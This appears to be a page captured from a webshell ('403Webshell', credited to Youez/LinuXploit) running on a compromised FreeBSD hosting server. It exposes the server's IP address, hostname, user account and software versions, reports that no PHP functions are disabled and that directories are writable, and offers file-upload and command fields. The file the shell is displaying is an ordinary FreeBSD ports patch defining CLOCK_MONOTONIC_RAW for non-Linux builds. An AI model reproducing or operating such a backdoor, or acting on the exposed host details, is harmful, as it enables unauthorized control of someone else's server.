403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.168
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/lang/intel-compute-runtime/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/lang/intel-compute-runtime/files/patch-clock_gettime
CLOCK_MONOTONIC_RAW doesn't exist on non-Linux systems.

runtime/os_interface/linux/os_time_linux.cpp:61:21: error:
      use of undeclared identifier 'CLOCK_MONOTONIC_RAW'
    if (getTimeFunc(CLOCK_MONOTONIC_RAW, &ts)) {
                    ^
runtime/os_interface/linux/os_time_linux.cpp:138:24: error:
      use of undeclared identifier 'CLOCK_MONOTONIC_RAW'
    if (resolutionFunc(CLOCK_MONOTONIC_RAW, &ts)) {
                       ^

--- shared/source/os_interface/linux/os_time_linux.cpp.orig	2020-05-15 20:36:40 UTC
+++ shared/source/os_interface/linux/os_time_linux.cpp
@@ -14,6 +14,14 @@
 
 #include <time.h>
 
+#ifndef CLOCK_MONOTONIC_RAW
+# ifdef CLOCK_MONOTONIC_FAST
+#  define CLOCK_MONOTONIC_RAW CLOCK_MONOTONIC_FAST
+# else
+#  define CLOCK_MONOTONIC_RAW CLOCK_MONOTONIC
+# endif
+#endif
+
 namespace NEO {
 
 OSTimeLinux::OSTimeLinux(OSInterface *osInterface) {

Youez - 2016 - github.com/yon3zu
LinuXploit